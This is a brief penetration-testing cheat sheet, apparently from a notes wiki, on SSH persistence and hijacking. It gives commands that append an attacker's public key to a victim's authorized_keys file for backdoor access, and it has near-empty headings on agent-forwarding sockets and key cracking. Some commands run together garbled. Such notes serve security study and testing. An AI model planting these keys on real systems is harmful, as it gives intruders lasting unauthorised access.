SSH
SSH Persistence and Hijacking
Peristence
Create keys on attacker box
ssh-keygenCopy id_rsa.pub key to victim
echo "ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali" >> /home/kali/.ssh/authorized_keysssh-copy-id "user@hostname.example.com -p <port-number>"cat ~/.ssh/id_rsa.pub | ssh <user>@<hostname> 'cat >> .ssh/authorized_keysssh kali@linuxvictimSSH Agent-Forwarding
Enumeration of sockets
Look for the last line "SSH_AUTH_SOCK"
Cracking SSH Keys
Copy SSH key to Kali
Last updated